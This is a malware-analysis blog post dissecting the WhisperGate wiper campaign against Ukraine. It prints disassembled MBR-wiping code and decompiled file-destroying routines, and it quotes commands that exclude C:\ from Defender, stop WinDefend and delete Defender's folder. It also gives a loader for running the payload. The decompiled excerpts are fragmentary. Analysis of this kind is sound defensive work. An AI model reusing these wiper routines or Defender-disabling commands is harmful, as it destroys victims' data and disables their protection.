// Cybersecurity clarified.

Details of Destructive Malware Targeting Ukraine

2022-02-05   Dawid Farbaniec
On January 15, 2022 Microsoft has posted article about Destructive malware targeting Ukrainian organizations ( [access: 2022-01-29]).

Quick Summary

Technical Analysis of Malware Samples

It just so happened that the samples have visited my laboratory.

We can distinguish two main malware samples which were used in this operation.
[🧪] 001.exe – Hard Disk Main Boot Record Wiper (MBR Corruptor, BootPatch)
[🧪] 002.exe – Trojan Downloader (WhisperGate)

MBR Corruptor (BootPatch)

Main Boot Record is a boot sector which contains loader program. This code is executed when operating system boots up. The analyzed sample 001.exe overwrites the MBR loader program with malicious code. Computer user must be ready for that the system won't boot and will show the faked ransom message from threat actor.

File Creation Time:
2022-01-10 10:37:18 UTC

First Submission to VirusTotal Service:
2022-01-16 20:30:19 UTC

File size: 27.00 KB (27648 bytes)



SHA-512: ece2ac87f5b80dc43ac68f766eee16be6f8cd3b1c6535c741551d0637c72c712e9f7de080e6fa612b321b9e9eab90922995bba5486debefbbb6e21104a80442d


For reconnaissance one can dump text strings from executable file with FLOSS. The program FLARE Obfuscated String Solver is great tool for dumping normal and also obfuscated text strings when analyzing malicious application. We can suppose that the program damages files on the disk and that it was written in C / C ++ and built with the GCC 6.3 compiler. There is also faked ransom message about paying ransom via Bitcoin cryptocurrency.

Text strings worth noting are:
GCC: (GNU) 6.3.0
GCC: (GNU) 6.3.0
GCC: ( GCC-6.3.0-1) 6.3.0

Your hard drive has been corrupted. In case you want to recover all hard drives of your organization, You should pay us  $10k via bitcoin wallet 1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65 with your organization name. We will contact you to give further instructions.

FLOSS static Unicode strings:

Dynamic Analysis under Debugger

Analysis under debugger shows that malicious program is accessing Master Boot Record via CreateFileW and WriteFile functions from Windows API. This is done with \\.\PhysicalDrive0 path passed as an argument for API functions. MBR is placed at the beginning of the disk and contains program code which executes before operating system. This code is a type of loader. Malicious program overwrites MBR loader code. This behavior causes Denial of Service (DoS) attack. Machine after restart shows fake ransomware message. Notice that trying to pay ransom or waiting for decryption tools from antivirus companies will do nothing. Because the files are overwritten (wiped, damaged), not encrypted. Infected users must be ready for restoring system from backup copies.

Below is x86 Assembly listing of the damaged Master Boot Record program. Disassembly comes from The Interactive Disassembler (IDA) tool. The code is x86 Assembly language (16-bit). The malicious code of overwritten MBR contains faked ransom message and code for destroying user data on computer disks. This is done with BIOS interrupt calls.


;|   This file has been generated by The Interactive Disassembler (IDA)    |
;|           Copyright (c) 2018 Hex-Rays, <[email protected]>           |
;|                            Freeware version                             |
; SHA256 : 8D71D6E45183BC1390F0621E79A7EC1F1F664A252AF7CFDE2458DE3B1C1A4F8E
; MD5    : B470903ECB076607DCD2B86A1BA9F94B
; CRC32  : 22849D97
; --------------------------------------------------------------------------
; File Name   : C:\Users\vx\Desktop\mbr.hex
; Format      : Binary file
; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
; --------------------------------------------------------------------------
                .model flat
; ==========================================================================
; Segment type: Pure code
seg000 segment byte public 'CODE' use16
       assume cs:seg000
       assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
       jmp     short $+2
; ---------------------------------------------------------------------------

                 mov     ax, cs
                 mov     ds, ax
                 mov     si, 7C88h
                 call    $+3
                 push    ax
                 mov     al, [si]
                 cmp     al, 0
                 jz      short _msg_printed
                 call    print_character
                 inc     si
                 jmp     short _print_msg
; ---------------------------------------------------------------------------
                 jmp     short _wipe_data

; =============== S U B R O U T I N E =======================================
print_character proc near
                 mov     ah, 0Eh
                 int     10h ; WRITE CHARACTER AND ADVANCE CURSOR
                             ; AL = character, BH = display page
                             ; BL = foreground color
print_character endp
; ---------------------------------------------------------------------------
                 mov     ax, cs
                 mov     ds, ax
                 mov     ds:7C78h, ax
                 mov     dword ptr ds:7C76h, 7C82h
                 mov     ah, 43h ; Interrupt Number (43h = EXTENDED WRITE)
                 mov     al, 0
                 mov     dl, ds:7C87h
                 add     dl, 80h    ; DL = Drive Number
                 mov     si, 7C72h  ; DS:SI -> Disk Address Packet
                 int     13h        ; DATA XREF: print_character+2^r
                                    ; DISK - EXTENDED WRITE
                                    ; (DL - drive, AL - verify flag,
                                    ; DS:SI - disk address packet)
                 jb      short _error
                 jnb     short _next
                 inc     byte ptr ds:7C87h
                 mov     dword ptr ds:7C7Ah, 1
                 mov     dword ptr ds:7C7Eh, 0
                 jmp     short _wipe_data
; ---------------------------------------------------------------------------
                 ;0C7h = 199d = Sector Number
                 add     dword ptr ds:7C7Ah, 0C7h
                 adc     dword ptr ds:7C7Eh, 0
                 jmp     short _wipe_data
; ---------------------------------------------------------------------------
                 db  10h
                 align 2
                 db 1, 5 dup(0), 1, 7 dup(0), 5 dup(41h), 0
szFakeRansomNote db 'Your hard drive has been corrupted.',0Dh,0Ah
    db 'In case you want to recover all hard drives',0Dh,0Ah
    db 'of your organization,',0Dh,0Ah
    db 'You should pay us  $10k via bitcoin wallet',0Dh,0Ah
    db '1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via',0Dh,0Ah
    db 'tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23'
    db '054C057ECED5496F65',0Dh,0Ah
    db 'with your organization name.',0Dh,0Ah
    db 'We will contact you to give further instructions.',0
    db 3 dup(0), 55h, 0AAh
seg000 ends
end ;seg000:01FB

Trojan Downloader (WhisperGate)

The second sample (not stage 2 – this is separate program) is a trojan downloader. It's target is to download the payload from the internet. In this operation the threat actor used Discord attachment. There is also code for launching malicious method from downloaded payload library.

File Creation Time:
2022-01-10 14:39:54 UTC

First Submission to VirusTotal Service:
2022-01-16 20:31:26 UTC

File size: 209.91 KB (214944 bytes)





Scan for text strings to get initial information about sample to verify later. Among the extracted text strings, the most noticeable ones are the URL and the text that looks like Base64 encoding.

Static Analysis with dnSpyEx

Sample is obfuscated but readable. There is spawned PowerShell process.


if (true)
    text2 = text;
/* ... */
Facade.WaitForExit(Facade.StartProcess(new ProcessStartInfo
    FileName = "powershell",
    Arguments = Facade.Concatenate("-enc UwB0AGEAcgB0AC", text2),
    WindowStyle = ProcessWindowStyle.Hidden

The command is Base64 encoded and needs concatenation. Result is:

Decode this with PowerShell:

Malware uses Start-Sleep to make a delay in code execution. Probably is trying to evade automated analysis.

In the thicket of obfuscated commands there is downloader code.


Facade.ArrayReverse(array, 0, array.Length);
goto IL_4D;
byte[] array2 = (byte[])Facade.UpdateItem(typeof(WebClient).GetMethod("DxownxloxadDxatxxax".Replace("x", ""), new Type[]
}), new WebClient(), new object[]
if (5 == 0)
num2 = 4;
array = array2;
num2 = 6;

The malware sample is trying to download the payload from Discord attachment. Code above also contains reversing byte array (payload bytes). During this analysis the payload is down. To recreate the malware behavior for analysis one can use quick fix. Just modify the URL to point to file on local disk.

In decompiled .NET code there is also the invocation of method Ylfwdwgmpilzyaph from downloaded payload DLL.


flag = Manager.Compare(methodInfo2.Name, "Ylfwdwgmpilzyaph");
num = 11;
/* ... */
methodInfo2.Invoke(null, null);
num2 = 2;
if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_a1c1ff6dd32b4941b387e9a3f27456af != 0)
num2 = 7;

Dynamic Analysis with Process Monitor

Dynamic analysis with Process Monitor from Windows Sysinternals should give general overview of sample behavior.

After execution there are some processes.

Here is encrypted Start-Sleep command to delay automated analysis
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==

Here is malicious Visual Basic Script File. The malicious file Nmddfrqqrbyjeygggda.vbs) tries to add whole system drive to Windows Defender antivirus exclusions:
C:\Windows\System32\WScript.exe "C:\Users\vx\AppData\Local\Temp\Nmddfrqqrbyjeygggda.vbs"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath 'C:\'

Here is stopping Windows Defender antivirus service. The executed file sc.exe is Microsoft's command-line Service Configuration Tool:
C:\Users\vx\AppData\Local\Temp\AdvancedRun.exe /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend"  /StartDirectory /RunAs 8 /Run

Here is a try to delete files from Windows Defender antivirus folder:
C:\Users\vx\AppData\Local\Temp\AdvancedRun.exe /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory /RunAs 8 /Run

What is AdvancedRun.exe?
AdvancedRun is a simple tool for Windows that allows you to run a program with different settings that you choose, including - low or high priority, start directory, main window state (Minimized/Maximized), run the program with different user or permissions, Operating system compatibility settings, and environment variables. You can also save the desired settings into a configuration file and then run the program automatically from command-line with the desired settings. [access: 2022-02-03]

There is also legitimate file dropped but is used for malicious purposes.

__ InstallUtil.exe C:\Users\vx\AppData\Local\Temp\InstallUtil.exe

Two files were left (InstallUtil.exe and Nmddfrqqrbyjeygggda.vbs) and do not get deleted.

Trojan Dropper/Loader (WhisperPack)

File Creation Time:
2022-01-10 14:39:31 UTC

First Submission to VirusTotal Service:
2022-01-16 21:29:58 UTC

File size: 273.50 KB (280064 bytes)





Payload downloaded by sample 002.exe is Dynamic Link Library (.dll). The DLL file can be extracted using for example dnSpyEx tool.

Running the Malicious Library

To run malicious method from library for analysis one can create simple loader program in C# programming language.

using System.IO;

using System.Reflection;

namespace LoadDLL
    class Program
        static void Main(string[] args)
            const string dllName = @"C:\Users\vx\Desktop\samples\Frkmlkdkdubkznbkmcf.dll";

            var payload = File.ReadAllBytes(dllName);
            var assembly = Assembly.Load(payload);
            var method = assembly.GetType("ClassLibrary1.Main").GetMethod("Ylfwdwgmpilzyaph");

            //invoke DLL method for analysis
            _ = method.Invoke(null, null);

Another solution is to use rundotnetdll utility program from FLARE VM.

It Behaves Like a Bacteria! 🧪🧫
After running the sample 003.dll with DLL loader on virtual machine one can observe that there is activity related to file system. The malware overwrites user files. Example overwritten file is 1 Megabyte in size and is overwritten with 0xCC bytes.

Examining Executed Processes

Running target DLL with C# loader or rundotnetdll utility from FLARE VM to examine executed processes. To do this one can set breakpoints on Windows API process functions for example in x32dbg or other debugger.

Commands for x32dbg:
bpx CreateProcessA

bpx CreateProcessW
bpx WriteProcessMemory

Notice that breakpoints get hit on processes listed before with Sysinternals Process Monitor.

Here is Visual Basic script mentioned before in this analysis:

  "C:\Windows\System32\WScript.exe %TEMP%\Nmddfrqqrbyjeygggda.vbs",
0x04080414, // creation flags

Process flags 0x04080414 are combined from the following constants:

Checking other processes can be done by pressing F9 or selecting Debug / Run (F9). It is noticeable that one from these processes is rewritten with WriteProcessMemory function from Windows API. Syntax of WriteProcessMemory from MSDN:
BOOL WriteProcessMemory(

  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten

Notice that there is executable file written to process memory (MZ is signature of PE/EXE file).

One can dump the chunks of the file with command savedata path, address, size in x32dbg. Later there is need to create a file from dumped chunks with hex editor (for example HxD). The complete file should have 25 088 bytes and eight (8) sections.

Example command for first chunk:
savedata “C:\Users\vx\Desktop\samples\dump1.bin”, 02C5F960, 400

Dumped File Wiper (WhisperKill)

File Creation Time:
2022-01-10 08:14:38 UTC

First Submission to VirusTotal Service:
2022-01-19 13:34:05 UTC

File size: 24.50 KB (25088 bytes)





Checking for text strings with FLOSS can be initial reconnaissance.

Initial Dynamic Analysis and Simulation

Running sample 004.exe under debugger shown that malware is file corruptor. We are able to extract targeted file types by looking for text string references.

There are 190 file types overwritten:

There are also string references to .DJVU and .SH file extensions.

But the simulation shown that these file types were not overwritten.

Static Analysis with Ghidra

To destroy user data the wiper sample first gets list of logical drives with GetLogicalDrives(); function. It is done by iterating through alphabet letters from A to Z.

/* Decompiled with Ghidra */

void GetLogicalDrivesFunc(void)
DWORD drives;
UINT driveType;
int i;
wchar_t* path;
double dVar6;
uint local_3c;
wchar_t drivePath[3];
undefined2 fileFilter;

drives = GetLogicalDrives();
path = L"A:\*";
lstrcpyn(drivePath, path, 10);

fileFilter = NULL;
i = 0;
do {
dVar6 = (uint)ROUND(pow(2.0, (double)i));
if ((dVar6 & drives) != 0) {
drivePath[0] = (short)i + L'A';
driveType = GetDriveTypeW(drivePath);
if (driveType != DRIVE_FIXED && != DRIVE_REMOTE) {
goto _next_drive;
fileFilter = '*';
fileFilter = NULL;
if (i == 26) {
} while (true);

Next the malware starts searching for files to destroy. The files in Windows directory are skipped.

/* Decompiled with Ghidra */

void __cdecl SearchFilesFunc(LPCWSTR param_1)
bool bVar1;
HANDLE hFindFile;
int iVar2;
size_t len3;
size_t len4;
wchar_t* currentPath;
wchar_t* windowsDirectory;
undefined3 extraout_var;
BOOL bMoreFilesAvailable;
int iVar7;
wchar_t* pwVar8;
wchar_t local_282[11];
_WIN32_FIND_DATAW local_26c;

hFindFile = FindFirstFileW(param_1, &lpFindFileData);

if (hFindFile == (HANDLE)0xffffffff)

do {
len5 = wcscmp(lpFindFileData.cFileName, L".");

if (wcscmp(lpFindFileData.cFileName, L".") == 0)
if (wcscmp(lpFindFileData.cFileName, L"..") == 0)
if (wcscmp(lpFindFileData.cFileName, L"$RECYCLE.BIN") == 0)

len3 = wcslen(lpFindFileData.cFileName);
len4 = wcslen(param_1);
len5 = len3 + len4;
currentPath = (wchar_t*)malloc((iVar2 + 4) * 2);
wcscpy(currentPath, param_1);
currentPath[sVar4 - 1] = L'\0';
wcscat(currentPath, lpFindFileData.cFileName);
windowsDirectory = L"A:\Windows";
windowsDirectory = _wgetenv(L"HOMEDRIVE");
if (wcscmp(currentPath, windowsDirectory) != 0) {
if (bIsDirectory(currentPath)) {
currentPath[len5 + 0x7fffffff] = "\\";
currentPath[len5 + -0x80000000] = "*";
currentPath[len5 + -0x7fffffff] = "\\0";
else {
bMoreFilesAvailable = FindNextFileW(hFindFile, &lpFindFileData);
} while (bMoreFilesAvailable != 0);

There is a function for damaging files by overwriting their content with 0xCC values. Wiped files become 1 Megabyte in size and have random extension.

/* Decompiled with Ghidra */

void __cdecl DamageDataFunc(wchar_t* path)
size_t pathLength;
FILE* _File;
undefined* _Str;
wchar_t* randomFileName;
int i;
unsigned char* bytes;

i = 0;
extension = GetFileExtension(path);
do {
//Compare file extension (check if it is on target list)
if (wcscmp(*(wchar_t**)((int)&PTR_u_.HTML_00405020 + i), extension) == 0) {
pathLength = wcslen(path);
randomFileName = (wchar_t*)malloc((pathLength + 0x14) * 2);
i = rand();
randomFileName = wcslen(path);
swprintf(randomFileName, (size_t)L"%.*s.%x", (wchar_t*)(randomFileName - 4), path, i);
_File = _wfopen(path, L"wb");
_Str = (undefined*)malloc(0x100000); //1 Megabyte
bytes = _Str;
for (i = 0; i <= 0x100000; i++) {
bytes[i] = 0xCC; //overwrite file with 0xCC value
fwrite(_Str, 1, 0x100000, _File); //damage file
_wrename(path, randomFileName);
randomValue = randomValue++;
} while (randomValue != 195);

Next the malicious program calls ExitWindowsEx function with EWX_SHUTDOWN flag and EWX_FORCE and EWX_FORCEIFHUNG reasons.

/* Decompiled with Ghidra */

undefined4 FUN_0040193a(void)
ExitWindowsEx(1, 0x14);
return 0;

Indicators of Compromise (IoC)

(pol. Wskaźniki kompromitacji systemu)
(ua. індикатори компрометації)

Name: Master Boot Record Corruptor (fake ransomware)
Other names: BootPatch

Name: MBR.hex (MBR program after corruption)

Name: Tbopbh.exe (Trojan Downloader)
Other names: WhisperGate

Name: Tbopbh.jpg
Other names: WhisperPack

Name: Frkmlkdkdubkznbkmcf.dll
Other names: WhisperPack (fixed)
Fixed with: Array.Reverse(File.ReadAllBytes("Tbopbh.jpg"))

Name: Nmddfrqqrbyjeygggda.vbs (in %TEMP%)

Name: AdvancedRun.exe (in %TEMP%)

Name: InstallUtil.exe (in %TEMP%)
Description: This is legitimate file but shouldn’t be placed in %TEMP% folder.

Name: File Corruptor (injected to legitimate process InstallUtil.exe)
Other names: WhisperKill

Bibliography [access: 2022-01-29]